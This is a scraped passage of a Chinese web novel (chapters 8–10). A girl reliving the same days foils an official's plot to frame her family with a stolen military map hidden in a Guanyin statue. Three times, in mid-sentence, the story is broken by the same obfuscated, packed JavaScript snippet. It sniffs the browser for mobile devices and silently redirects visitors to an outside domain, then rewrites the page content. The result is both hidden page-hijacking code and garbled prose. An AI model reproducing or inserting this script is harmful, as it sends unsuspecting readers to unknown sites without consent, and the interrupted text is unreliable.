叶惜人进了屋,扶着桌子坐下。 她猛地回过头神来,抓住雪婵手腕,“柳絮呢?去把她叫进来!” 雪婵委屈巴巴。 叶惜人没注意到,满脑子都是一团乱麻,思绪纷杂。 雪婵只好出去叫人。 脚步声渐渐远去,很快又再次靠近,一前一后两道声音。 柳絮着急忙慌将一个镯子塞给雪婵,压低声音:“雪婵姑娘,可知道二姑娘要奴婢过来做什么?” “我可要不起。”雪婵不收,将东西塞回去,淡淡道,“二姑娘脾气好,我们这里也没有这些规矩,你老老实实的,自然不会有人为难你。” 柳絮还是有些紧张。 但想到二姑娘一贯的好脾气,又稍微放松了些,见雪婵打开帘子,柳絮扯了扯衣服,抬脚起来,满脸堆笑—— “二姑娘!” 叶惜人坐在里面,看向柳絮,面无表情问了个奇怪的问题:“你哪只脚先进来的?” “啊?”柳絮一脸茫然。 她下意识看向自己的双脚,喃喃:“左脚?” 下一瞬,叶惜人猛地站起来,大怒—— “你竟然敢左脚先进来,来人啊,把她给我绑了,扔到柴房去!” 雪婵:“……” 雪婵抬起的脚僵在半空,不敢落下,等等,我这是左脚还是右脚来着? 8. 对峙 第8章 三月初二,巳时。 叶惜人同祖母、廖长缨跪在佛堂里面,上首菩萨被一块红布盖着,香烟缭绕,祖母赵氏拨动佛珠,念着经书。 廖氏祈祷着儿女平安健康。 叶惜人依旧双手合十,闭着眼睛,看起来一脸虔诚。 又到了三月初二。 昨日阻拦叶长明之后,她用“左脚先进门”为由将柳絮绑起来扔进了柴房,目的是为将人控制起来。 没了柳絮,今日又会发生什么? 相较于昨日的虔诚,今日叶惜人脑子里面转着其他,有千头万绪需要理清,一团乱麻,随时会到来的危机,是铡刀悬在头顶。 ——真铡刀! 叶惜人呼出一口气,数着时间,随后,她眼睑一颤,缓缓睁开眼睛,无声开口:来了。 “嘭!” 大门被人一脚踹开,熟悉的脚步声响起,密密麻麻的震颤由大门转入佛堂,叶惜人今日听得格外清楚。 这些人根本没多做停留,直奔佛堂而来。 他们不是查抄,而是早已知道目的地是哪里,只待找出“证据”。 叶惜人深吸一口气,再次闭上眼睛,又迅速睁开,乌黑眼睛里面的害怕与恐惧全都被藏了下去,换成冷静。 过度的紧张以至于她身体紧绷,心跳加快,合十的双手控制不住微微颤抖,却不影响脑袋里面越来越清明,思绪无比清晰。 叶惜人回过头去。 陆仟带人穿过院子,踩着回廊闯入佛堂,他依旧头戴黑色乌沙,红衣似血,眼神如刀,手握一卷黄麻纸敕令,冷冷地看着里面的人。 他们全都带刀,又个个一脸凶相,令人止不住心生恐惧。 “你们做什么?!”廖长缨大惊。 陆仟冷声道:“带人上来。” “咚。” 一个人被扔了进来,叶惜人立刻看去,竟然是祖母院中的云香! 云香抖着手指着上首被红布盖住的菩萨,一脸愧疚开口:“在、在观音里面,我亲眼看见老夫人将东西放进去的……” 叶惜人手指一紧。 果然,没了柳絮还有云香,重要的从来都不是人。并非祖母院中的人将东西塞进观音像里面,而是那东西从一开始就在! “什么?”廖长缨一怔。 陆仟冷笑,抬脚上前要取观音像。 叶惜人突然站起来,用身体挡住陆仟,从来柔和的声音带着几分犀利,抿唇,“大人这是做什么,搜查叶家? “我叶家虽不起眼,但父亲毕竟是户部尚书,从二品大员,祖母是历经三朝的诰命夫人,搜查官宦之家……陆大人是奉何人命令,又以什么缘由?” 声音越来越清晰,掷地有声。 陆仟眉峰一挑,诧异地看向她,上下打量,意味深长:“你胆子还……挺大?” 叶惜人抬着下巴,冷脸时柔顺漂亮的五官也有几分清冷疏离,寸步不让,“大人若要搜查,就必须告知缘由,或拿出手书,若不然,这就是皇城司越权行事。” 胆小无非是怕死。 她…… 都死这么多回了,还怕什么?! 陆仟表情阴冷,声音幽幽:“你叶家死到临头,竟然还如此放肆?” 他手一抬,只是些许用力,就将叶惜人重重推倒在地,手臂磕在摆放观音像的案牍上,发出一声闷响。 叶惜人轻呼一声,疼得面色发白,眉头紧皱。 “惜惜!”廖长缨急切去搀扶她。 赵氏站起来,回头看向陆仟,苍老的脸上带着冰冷,“我孙女说得对,陆大人想要搜查,总要拿出圣旨、告知缘由,尚未找到任何证据,又凭什么将我们当成嫌犯对待?” 陆仟眼神变得危险。 随即,他脸上露出嘲讽,手上敕令打开,举起来,“这是参知政事张元谋张参政手书,参政大人审问逆党,朝中官员皆要配合。 “我们已从逆党口中问出了你叶家为同伙,我皇城司有监察之责,如今又有人证亲眼见到叶老夫人将通敌证据藏在佛像里面,我为什么搜不得?” 叶惜人瞳孔一缩。 张参政! 大梁共有两个参知政事,一个是之前见过,正陪同、接待北燕太子赤盏兰策的刘多喜刘参政,另一个就是张元谋张参政,参知政事等同于副相,权势滔天。 ……难道陷害叶家的是张参政? 见陆仟几步上前,手指触摸红布,就要掀开,叶惜人咬牙站起来,摁住红布—— “陆仟,你行事不管不顾,蛮横霸道,如果没查到你所谓的通敌罪证,我叶家是不是可以告你们一个以权谋私,飞扬跋扈?” 她死死摁住不松手。 两人一左一右,站在盖住的观音像前面对峙。 陆仟嘴角勾起嗜血的笑,眼神像是毒蛇般盯着叶惜人,一字一句:“死到临头,真是不见棺材不掉泪,小丫头年纪不大,脾气倒是不小,回头落在我手上……” 叶惜人心头一颤,但仍然回视他: “大人想清楚。” “我想得很清楚。”陆仟眼神一厉,猛地拉开红布,“你叶家通敌罪证就在这里,还有什么——” 声音戛然而止。 案牍上,红布拉开后并非是想象中的一座观音,而是……一只鞋。 黑色的靴子与观音像差不多高,顶着红布看起来和观音像几乎一模一样,此刻这么一只鞋立在这里,鞋底还沾着泥巴。 仿佛无声嘲讽。 “你们换了?!”陆仟面色骤变,死死盯着叶惜人,又扫过在场所有人。 廖长缨始终不明白发生了什么。 赵氏看着那只鞋,眉头微微一皱,又很快舒展开。 叶惜人挺直脊背,纤细手指捏紧衣服,让自己依旧定定站在原地,回视陆仟吃人的眼神,同样一字一句:“大人在说什么,我们听不明白?” “观音像呢?” “哪有什么观音像,大人不是亲眼所见吗?一只鞋而已。” 陆仟气笑了,将那只鞋砸到地上去,拔出刀架在叶惜人脖子上,咬牙切齿:“你当我傻吗?一只鞋放在这里,你们跪着……拜鞋?” 分明是已经拿走了! 只是他想不明白,这次行动突然,叶府是怎么收到消息的? 叶惜人任由刀架在脖子上,无所畏惧,缓缓露出笑: “大人看来是不了解我家情况,我哥哥昨儿春闱,在路上被人打伤了手脚,我们拜鞋,自然是为了祈祷他早日康复,不可以吗?” 话音落地。 一道人影被另外两人搀扶着进来,叶长明原本满脸急色,但在看到堂内地上那只鞋时,下意识惊呼:“咦?我鞋怎么在这儿?” 他本来躺在床上养伤,听到外面似乎有大动静就想出来,却发现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276454|182440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己最喜欢的靴子不知为何只剩下一只,找鞋耽误了点时间,因此现在才来。 “放开我妹妹!”叶长明又呵斥。 陆仟从那只鞋移到叶长明脚上,有一只脚被布包着,没找到鞋干脆就只穿了一只,被胖金与瘦银架着过来…… 最后,陆仟收回视线,再次看向叶惜人,死死盯着,一言不发,眼中带着令人恐惧的杀气。 叶惜人紧紧捏着裙子,平静回视:“大人,皇城司没有规定不能拜鞋吧?” “好好好。”陆仟笑了。 笑着笑着猛地一收,他阴冷扫过叶惜人,深吸一口气收回刀,不甘心下令:“走!” 说完,他就要提着云香离开。 叶惜人往前两步,再次开口:“大人自己离开可以,但云香得留下,她是叶家的人。” 总要知道……是谁威胁了云香,才能走近真相。 “她做伪证欺骗皇城司,我要带回去亲自审问。”陆仟冷冷道,提着人就要离开。 不必叶惜人说,赵氏拐杖在地上狠狠一撞,斥责: “陆二狗,你闯入叶家搜查之事还没跟你算,云香,你没资格带走,她栽赃冤枉我叶家,就是与叶家有怨,我们总要自己问清楚,不必劳烦皇城司。” “想拦我?”陆仟眼中恼怒一闪而过,“凭你们,还不够资格?” 他带来的皇城司人足够多,叶府上下却没有那么多护卫,根本不可能拦住他,就算是强抢,他今日也要把人带走。 只要带走了,之后再如何追究都无所谓。 说完,他带人强行离开。 远远的,门口方向一道威严的声音响起—— “他们不行,那我呢?” 叶惜人一喜。 可总算是回来了。 要是再不回来,她就要拖延不下去了,今日这么一出,就是要引蛇出洞,云香至关重要,绝不能让人离开。 叶沛身穿紫色圆领,腰系金带,金鱼袋垂挂,身边是另一个穿着紫袍公服的官员,两人并列大步进来,身后带着一帮衙役鱼贯而入,从门口呈半圆包围住他们,显然是要拦住陆仟。 陆仟眯起眼睛,“叶大人。” 他的视线移到叶沛身旁那人,眉头一皱,“郑大人?什么风把南都府尹吹到了这里来?” 南都府尹郑文觉面无表情,嫌弃地看了他一眼,“你皇城司在南都肆无忌惮,随意闯入官宦家中,惊扰家眷,我身为南都府尹,不该过问吗?” “我是来查抄证据。” “那找到了没?” 陆仟呼吸一滞。 叶惜人趁着这个空荡给叶长明使眼色:快点。 叶长明一脸茫然:啊? 叶惜人都快要急死了,看看胖金瘦银,又看看还在陆仟手边的云香,不断使眼色:还不趁着他们对峙赶紧抢人?!真是蠢死了!! 叶长明终于恍然大悟,悄悄推了推胖金瘦银。 下一刻,在陆仟还没想好怎么应对的时候,瘦银抓住陆仟手腕,胖金以极为矫健的姿势将云香捞走,扔到了身后。 动作太快,陆仟又在分神中,即便武功比胖金瘦银高,还是被抢走了人。 “你!”陆仟变脸。 叶惜人几步上前站在叶长明旁边,一起挡住云香,同陆仟对峙,两人同时挺了挺胸膛,寸步不让。 ——家长已经回来了,有人撑腰,不怂! 9. 真凶 第9章 没能找到“证据”,他对叶家动手就没道理,本想趁叶家只有老弱妇孺强行将云香带走,如今叶沛回来,且带了南都府尹的人…… 陆仟眼眸深深。 他看向叶惜人兄妹身后的云香,又看向带着人回来的叶沛,手指捏的“啪啪响”,终于还是放弃,满脸不甘地挤出一个字:“走。” 叶沛看向他的背影,扬声道:“陆仟,今日之事我会参你一本!” 陆仟脚步一顿,怒气冲冲离开,头也不回。 随后,叶沛与郑文觉避到一旁说了会儿话,郑文觉带着南都府的人离开,护卫关上大门,眨眼间就只剩下叶家自己人。 廖长缨都要急死了,上下抚摸女儿,满脸担忧,“惜惜,你刚刚没伤到吧?有没有哪里不舒服?” 叶惜人摇摇头:“没事。” “手腕都已经青了!”廖氏惊呼,让人去拿药过来,“这还说没事,快,我们先去上药。” “去正院。”叶沛抬了抬下巴。 这里面一团乱,根本就不是说话的地方,今日这一出太突然,他们还需要好好说说,更何况还有云香…… 一行人转移到正院。 叶长明摸不着头脑,挠挠头:“这到底是怎么回事啊?皇城司的人怎么会突然闯进来,而且信誓旦旦搜查什么证据?” 赵氏没有回答,先看向叶惜人,问出最大的疑惑:“观音像怎么变成了靴子?” “我换的。”叶惜人很坦然,一家人不能藏着掖着,否则很难弄清楚真相,她由着廖氏上药,深吸一口气抬起头,“可能你们很难相信,是我梦到的。” “啊?”叶长明愣住。 叶沛眉头一皱,摇摇头:“惜惜,事关重大,莫开玩笑,你到底是怎么知道的?皇城司的行动连我都没收到风声。” 他是收到叶惜人的消息才及时赶回来拦截,陆仟行事谨慎,闯入时就让皇城司的人堵住叶家门,不让人出入,足以说明车夫是提前离开叶家,算着时间给他报信。 再加上佛堂里面的那只靴子…… 他女儿叶惜人一早就知道会发生什么,连时间都准确无误。 是谁告诉她的? ——因为我已经经历过了啊! 她望向叶沛,咽了咽口水,“爹,连你都没收到消息,我怎么可能从其他地方知道?真是菩萨保佑,用梦让我提前预知今日灾祸,避开一劫。” 她声音有些颤抖,想到一次次砍头,呼吸都变得急促,其实不是一劫,已经是第二劫了。 “这孩子,”叶沛皱着眉,神情眼熟,满脸不赞同:“眼下不是隐瞒的时候,惜惜,你到底是怎么知道的,告诉我,让我来应对。” 难道送信之人威胁了她? 究竟是谁? 叶惜人:“…” 廖氏上完药,看着叶惜人伤了的手,叹口气,“惜惜不说就先别逼她,眼下消息怎么来的不重要,重要的是如何应对。” 叶惜人:“……” 她说做梦都没人相信,要是说她在这两天反反复复重生,死了又活,活了又死,他们就更不会相信了! 算了。 她要不是亲身经历,也不会相信这样奇怪的事情,就算真让他们相信她被斩一次又一次,平添担忧罢了。 “惜惜,你把菩萨藏哪儿了?”赵氏苍老的脸上眉头紧锁,低声询问。 “菩萨我砸了。”叶惜人抿唇,想到里面的东西神情凝重,“是昨日在佛堂里面砸的,碎瓷片和里面的东西被我藏起来。” 她原本想直接烧掉,但又怕里面的东西还有用,就留了下来。 “是什么?”叶长明问。 叶惜人没有回答,直接去将东西挖出来,拿回正院,递给叶沛。 她手上全都是泥巴,但东西被油纸包着,外面是泥,里面却很干净,没沾上一点脏污。 叶沛皱着眉,疑惑地拿出来,等看清楚之后,他脸色骤变,手紧紧抓着扶手,眼神瞬间犀利—— “竟是丢失的《南都禁厢军舆图》?这东西要是在我叶家找到,陛下定会震怒! “几日前,北燕使团入南都,随后,舆图丢失,消息没敢走漏,只有陛下、蒋相几人知晓,正秘密查找当中,我也是阴差阳错才知道这件事,却没想到舆图竟然在我叶家!” 他捏紧舆图,又立刻打开纸条,上面只有一行小字,落款也只有一个字—— 【请收好舆图,切莫交给旁人。严】 叶长明探头看过来。 严?! 两人的脸色变了又变。 叶长明猛地站起来,动作太急,脚上的伤疼得他龇牙咧嘴,“这是要扯上严小将军。” 从这舆图和纸条看来,就是一个姓严的人将东西交给叶家,让他们收起来,除此之外,在无任何线索。 “这字很秀气,像是女子的字?”叶惜人早就看过无数遍,轻声提醒。 叶长明拳头握紧,咬牙切齿: “还真是嫁祸,落款一个严字,可忠勇侯府严家早就没人了!严小将军在北燕使团入南都时被控制了起来,我们都不知道关在哪里。 “从舆图丢失时间就知道,不可能与严家有关,这纸条必然伪造,成心陷害。” “是云香被人买通,藏在母亲的观音像里面?”廖氏提出疑惑。 赵氏闻言,垂下眼眸冷静吩咐:“问问就知道了,来人,把云香带进来。” 很快,云香被人带进来。 她跪在地上,满脸泪水,嘴巴塞着说不了话,只“呜呜”摇着头。 “云香,我叶家自认对你不薄,连年战事,从北都一路南迁,你家里人活不下去,自愿卖入府里,乱世人命最不值钱,但母亲心善,不仅收留你,还为你娘治病……”廖氏指着她,声声谴责。 通敌这样的罪是要送他们一家人去死,廖氏想到这里就一股火气,满心愤怒。 云香拼命摇头,撤掉堵着嘴的抹布后,涕泗横流,不断磕头: “老夫人!老夫人我不是故意的,今晨我出去买东西,被人绑起来,那人抓了我爹娘,要我说通敌证据就在观音像里面,才肯放我爹娘……我真的不是故意的,我、我要救我爹娘!” “今晨?东西不是你放的?纸条不是你写的?”叶沛眉头一皱,不去指责云香,只提出关键信息。 云香抬起头,急切回答:“不是,我没有动观音像,更没写什么纸条,那人也只是让我指着观音像说那句话就行!” 果然。 叶惜人长长地吐出一口气,有人知道东西在里面,只是借了柳絮、云香的口,找一个搜查的理由而已。 那纸条也是一早就放了进去。 “是谁?”叶惜人又问关键。 云香顿了顿。 “啪!” 叶沛砸了茶盏,溅起满地瓷片,厉声呵斥:“糊涂!对方陷害已经失败,你现在赶紧说出来,或许还能转圜,你什么都不肯说,就能保住你爹娘吗?!” 只一句话,破开云香防线。 她满脸绝望泪水,颤抖着声音说:“是今日闯入之人……指挥使陆大人。” 陆仟! 叶长明当即骂道:“果然是这狗东西陷害,他背弃严小将军还不够,现在竟然又来害我们?” 从两次都是他带人闯进来,笃定他们必死就能看出,这件事无论如何都与陆仟有些干系,现在从云香口中听到这个名字,一点不意外。 “可是他究竟什么时候放的?”叶惜人看向赵氏,疑惑,“祖母,你什么时候得到观音像,有没有异常?” 赵氏低头想了许久,而后摇摇头,“我得到观音像有一段时间了,没察觉有什么异常,不知道东西怎么会在里面。” 这害他们的局,竟然从之前就布上了! 一罪接着一罪,九条命都跑不掉。 ——幸好她死了又活,有第五条命了。 叶惜人又看向沉默的叶沛,“爹,陆仟为什么要害我们?而且还是满门抄斩的大罪,我们有这么深的仇怨吗?” 叶沛拿着舆图和纸条,将两样东西卷在一起,低着头沉思。 片刻后,他扯出一个笑,声音轻轻: “这件事你不用管,今日你冒险拖住陆仟,怕是吓到了吧?待会儿让大夫给你开一副安神汤,好好休息,这些事情自有爹爹处理。” 说完,他站起来离开。 就是怕处理不了! 昨日有舞弊,今日有通敌,谁知道明天还有什么? 叶惜人追上去,抓着他衣袖,执拗问道:“爹,我已经长大了,你什么都不告诉我反而让我不安。” 叶长明突然开口:“是因为严小将军?” 严小将军? 叶惜人眉头一皱。 关于严小将军,她还真知道一些,不,应该说所有大梁人都知道。 去岁,严小将军声名赫赫,简直就是大梁的救世主。 他出身于忠勇侯府严家,世代武将,几年前战乱开始,两代忠勇侯相继战死,忠勇侯府几乎被北燕人屠杀干净,在北燕铁蹄之下,大梁毫无还手之力。 去岁朝廷抛弃北地,行台匆忙南迁,北燕骑兵一路追击,险些打到南都来,严小将军横空出世,带领严家军拒敌于淮安渠,两军僵持。 本是救国于危难的少年将军,但此人杀戮心重,将淮安渠附近的官吏屠了个干净,坑杀流民,又不听圣令,有反叛之举,圣上数次发函让此人陈情,皆无音讯。 北燕使团入南都和谈时,严小将军带一支纵队截杀,意图破坏和谈,双方于南都护水河上大战。 幸而截杀失败,朝廷上下震怒,为平息北燕的怒气,继续推进和谈,将严小将军以“逆党”之名下了大狱。 叶惜人顿时心头一紧。 “我们家和逆党有关系?!”她不可置信。 要是他们家真和逆党勾结,那还救什么救,重来一百次都是死啊! 叶沛长叹口气:“朝中之事本不该告诉你们,可眼下遇到这样的事……” 他摇摇头,将眼下情形说来: “严小将军一直生活在边境,从未回京,我们与他没有关系,但要想收复失地、重回北都,朝廷就还得用他,我同朝中一些人正想办法找齐证据,查明严小将军之事是否另有隐情。” 叶惜人想到之前问过祖母关于陆仟之事,此刻信息串起来,恍然大悟。 陆仟是忠勇侯的义子之一,是严小将军极其信任的人,前几日北燕使团入南都,严小将军突袭,想与皇城司联手截杀北燕使团。 但陆仟另有算计,以至于严小将军截杀失败,反而被捕下狱。 “明日三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276455|182440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月三是大梁与北燕和谈之日,朝中如今分为两派,主和派与主战派尚未达成共识,陛下也还没有决断,严小将军是否为逆党,是此次能否和谈的关键。” 叶沛又说:“我们认为他不是逆党,想查清隐情,有人又希望他是逆党,盖棺定论。” 说到这里,他捏紧手上舆图,长长地吐出一口气,眉头紧锁,带着无尽担忧。 “所以,陆仟背叛了严小将军,就不希望他这样的凶蛮之人出来,爹你想查清楚真相,所以遭到陆仟陷害?”叶惜人从所有信息当中总结出来。 叶沛点点头:“有这个可能。” 叶惜人还是不理解,咬紧唇,偏头疑惑:“可是……和谈不是好事吗?” 经年战乱带来的灾祸,叶惜人即便养在深闺也知道一二,整个大梁因此变得民不聊生,和谈消息才传开没几天,粮价下来了,春闱有了,南都城内百姓终于不再绝望,重燃希望。 明明是好事,为什么要阻止? 严小将军阻拦和谈,因为他家与北燕有仇,爹要救严小将军……不就是他口中的“主战派”吗? 和平无战对天下人才是好事,为什么要继续打? “北燕狼子野心,以铁蹄侵我大梁,不知道多少人死在他们马下?”叶长明摇头,哪怕吊着一只手,依旧满眼杀气,“朝廷还没收回北都,淮安渠以北全被他们糟蹋!这样的国仇家恨,怎么谈?况且,就怕他们并非真心和谈,还藏着什么阴谋!” 叶惜人抬手揉了揉眉心。 骤然间接受太多信息,她有些理不清楚,甚至连谁是对谁是错都分不明白。 “你别担心,好好休息,既然知道是谁害我们就好办了,我会去见圣上,让他严查陆仟等人。”叶沛说着,揉了揉叶惜人脑袋。 随后,他又说: “长缨,你照顾好他们兄妹俩,云香交给你处置,守好叶府。” 说完,他快步离开。 叶惜人喊道:“爹,陆仟拿着的手书是张参政的,也要小心他!” “知道。”叶沛摆摆手,大步离开。 叶惜人看着他背影,长长地呼出一口气,虽然还有很多不明白,但这一关……算是过了吧? 没让皇城司查到所谓通敌证据,还把陷害他们的陆仟揪出来,让爹可以去应对,叶家的劫难,解了。 知道凶手,她相信她爹有手段对付,要不然根本坐不稳户部尚书一职。 ——三月初二,活下来了。 叶长明还在生气,咬牙骂道: “这陆仟真不是个东西,害了严小将军还不够,又来阻止我们给严小将军查明真相,要真是叶家出了事,谁还敢帮小将军?朝廷岂不是成了主和派那群懦夫的天下?这陆狗,就是个卖国贼!” 叶惜人忍不住翻了个白眼,叶长明还没入朝为官,就是个坚定的主战派了。 管不得这人着急科举,这是忙着去摇旗呐喊。 她仍然有些不安,又问:“明日就要和谈,如果和谈成功,那爹爹会不会跟着那位严小将军一起遭难?” 和谈成功,严小将军做过的那些事情,就真是逆党行为,即便战功赫赫也没办法抵消。 “别担心。”赵氏开了口,“朝中主战派与主和派各一半,你爹爹他们只是担心北燕狼子野心,当今宽宏,即便严小将军被定罪,也不会牵连你爹他们。” 说完她叹口气站起来,由着廖长缨搀扶,“我去让他们把佛堂收拾好,惜惜,你要是肯说是谁告诉你陆仟陷害一事,就立刻来找我,多事之秋,别自己担着。” 叶惜人能怎么答? 只好点头。 等到赵氏和廖氏离开后,叶长明用胳膊肘撞了撞妹妹,压低声音:“你真是做梦菩萨告诉你的?” “你相信?”叶惜人眼睛一亮。 “我信。”叶长明重重点头,拉着她坐下,“你再说说,具体是怎样的?” 叶惜人莫名心中一酸。 这都死了四回,重活四回,她为了叶家能够避开灾祸,一直忙忙碌碌,要出去找人,还要与陆仟对峙。 从来温顺柔软的叶惜人做了许多的第一次,怎么会不害怕与恐惧? “哥,其实不是做梦,是重活……” 总算有人相信她,叶惜人将自己的遭遇原原本本说出来,从第一次的懵懂,但现在依旧存在的不安。 ……当然,跳过了她找人阻拦叶长明科举这事。 “就这些了。”说完后,叶惜人长出一口气,倾述让她的压力少了许多,整个人都轻松下来。 陆仟交给她爹去对付。 陷害他们的人找到了就有办法除根,没准儿她很快就能脱离这场噩梦,和全家人一起,平平安安度过。 叶长明双眼明亮,眨了眨眼睛:“继续呀。” “嗯?”叶惜人一怔。 叶长明磕着瓜子,将皮吐在桌上,露出灿烂的笑容,“继续编啊,我还是第一次知道,我妹妹竟然是个说书先生,这故事讲得……跌宕起伏啊!” 叶惜人:“?” “后面呢?快点说,我还想听。”叶长明一脸期待,瓜子皮都吐到了叶惜人面前。 叶惜人:“……” 她深吸一口气,缓缓开口:“滚!” ——真是打错地方了。 ——应该打脑袋! 10. 严防 第10章 “没成功?”一道听不出任何情绪的声音在房间里面响起,无悲无喜。 陆仟却是心头一紧,立刻恭敬地低下头去,声音微颤:“大人,那叶家定然是早就收到风声,我去时佛像已经被替换,什么都没——” 上首正翻看一张张策论的人抬起头,面无表情反问:“这件事只有你我知情,所以叶家是怎么收到风声的?谁说的,我吗?” 依旧没有情绪,更不带质疑。 陆仟吓得脸一白。 他膝盖一软,直接跪在地上,额头冒出细密的汗珠,眼神中带着恐惧,急切开口:“我绝对没有告诉任何人,消息不可能走漏,我、我……” 说到这里结巴起来,因为这件事实在反常,陆仟猜不到到底是谁走漏了消息。 对方不仅清楚知道佛像里面的问题,还知道他会在什么时候闯入,提前准备,甚至是借由这件事钓鱼,他一无所获不说,还暴露了自己。 “去查。”那人将笔放下,眼神冰冷看向他,“查清楚叶沛到底是怎么收到消息的,要是查不到,那走漏消息之人,就只有你了。” 陆仟浑身一颤,“是。” 他应下后恭恭敬敬退出去,心头窝着一团火,手压住刀,踩着黑暗走入巷道之中,七转八转进了护水河边一座僻静的小院。 待进入其中,看到里面的人,陆仟压着火气咬牙切齿:“要对叶家动手的消息是殿下走漏的?!怪不得昨日叶长明没去春闱,原来是早就收到消息。可是,殿下你为什么要这么做?” 他带着刀,声音又带着火气,就难免显得不恭敬,屋里的人同时站起来,一双双像狼一样的眼睛死死盯着他,全都举起刀,随时要拔出开战。 “放肆!”莫勒呵斥。 陆仟一顿。 想到眼前之人的身份,他满腔的火气瞬间褪去,但仍然带着谴责,眼神隐隐不满,“殿下,对叶家动手的消息只有三人知道,眼下大人要追究我的责任,殿下究竟是什么意思?” 找不到原因,这走漏消息的错误就得他来承担! 而且叶沛已经知道他做了什么,现在像疯狗一样盯着他,恐怕已经上报圣上……要是大人生气,就没人能保他了。 正慵懒靠在贵妃榻上的赤盏兰策睁开眼睛,烛火跳动之下,面色越发显得白皙,白衣衬托,优雅如谪仙,抬手拨动火炉上正炙烤的栗子,诧异: “所以你的行动走漏了风声,叶家知道了?” “殿下没透露消息?”陆仟惊讶。 兰策拨下香甜的栗子,捡起来剥着吃了一颗,在他还想去拿第二颗时,旁边侍女伸手拦截,语气嗔怪:“殿下,栗子吃多了积食。” 兰策一笑,将栗子壳丢入火炉里面,不再去碰。 他看向陆仟,冷静开口:“我为什么要给叶家透露消息?叶沛费尽心思救那人,我杀他都来不及。” 陆仟也觉得奇怪。 赤盏兰策没有走漏消息的理由,他要是想救人,就不会帮忙,消息又只有他们三人知晓,那到底是谁走漏的? “真是奇了怪,叶家是怎么知道的?”陆仟想不明白。 兰策靠回软踏上,青丝斜斜垂下,眼中带着几分好奇,喃喃:“是呀,知道消息的人都不会说出去,叶家却一清二楚……真是邪了门。” 他对着陆仟发出邀请:“指挥使大人吃栗子吗?” 陆仟哪里吃得下? 他摇摇头正要开口拒绝,就听那北燕太子又说:“陆大人莫要担忧,既然与你合作,我自然会保你性命。” 陆仟闻言当即一喜。 北燕事大,和谈才是关键,有赤盏兰策这句话,他就能活。 “多谢殿下!”陆仟立刻转阴为晴,露出谄媚笑容,伸出手去拿栗子,却被烫得“嘶”了声,收回手。 兰策见此笑出声,眉眼上挑。 陆仟余光看了他一眼,这位北燕太子就这么姿态慵懒倚着榻,膝上搭着的素色锦被都被他衬得像一幅画,一个男人,比女人还好看…… 陆仟心中吐槽两句,面上恭敬行礼:“多谢殿下,那在下就先告辞,叨扰了。” 兰策不在意地摆摆手。 等陆仟走后,他缓缓坐起来,脸上的笑容一点点落下,低声喃喃:“所以,到底是谁走漏了风声,竟然连我都没察觉?” “走漏风声”的叶惜人刚刚躺下。 雪婵给她拉好被子,吹灭蜡烛,悄悄出去,屋里陷入极致安静,片刻后,叶惜人猛地坐起来,问:“什么时辰了?” 雪婵进来点好蜡烛,轻声回道:“三月初二,戌时了。” “没发生什么事吧?”叶惜人又问。 雪婵虽然疑惑,但还是摇摇头,“没有。” “哦。”叶惜人松了口气,躺下。 雪婵吹灭蜡烛,继续回去睡,屋子里面再次陷入安静,外面隐隐传来虫鸣鸟叫,三月之期,万物复苏。 叶惜人猛地坐起来,“什么时辰了?” 雪婵点好蜡烛,小心翼翼进来,再次回答:“三月初二,亥时。” “没发生什么事情吧?” “没有。” “哦。” 叶惜人重新躺回去,雪婵吹灭蜡烛,很有些担忧,姑娘这是怎么了?明明用过安神汤,却还是睡不好,明日要告诉夫人一声,得让大夫来看看了…… 没一会儿,叶惜人又又又坐起来。 雪婵:“子时,三月三。” 顿了顿,她又补充:“没发生什么事情,姑娘安心睡吧。” ——已经不用问了。 叶惜人闻言,长处一口气,眉眼染上笑意。 三月三了! 活过三月初一、三月初二,成功来到三月三,劫难应当是过去了吧?菩萨保佑,她可再也承受不住了…… 她放松地躺回去,“雪婵你回去睡吧,换雪娟来守着就行,你也好久没睡好了……”说着说着,声音渐渐消失,已熬不住沉沉睡去。 雪婵没走,姑娘这几日都睡得不安稳,她要自己守着才放心。 - 三月三。 叶长明还在睡觉,外面叮铃咚隆吵得要死,他将被子翻过来又踹过去,还是被吵得睡不着。 “大清早的,这是做什么?”叶长明怒气冲冲坐起来,大声质问。 胖金一个激灵爬起来,打着哈欠回答: “二姑娘正在组织府里上下大检查,天还没亮就在折腾,府上今儿下了令,关门闭户,不许进出,就连老爷早上去上朝,都让姑娘搜了身才肯放出去。” 叶家今日,不许进出。 “她疯了吧?”叶长明抓抓脑袋,反问,“爹娘、祖母,就没人拦着她?” 胖金不说话。 叶长明:“……” 懂了。 全家都顺着叶惜人,再加上有昨天的事情,她想怎么折腾都不会有人阻拦。 叶长明睡不着,顶着惺忪的睡眼、吊着一只手、瘸着腿往外面走去,门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276456|182440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 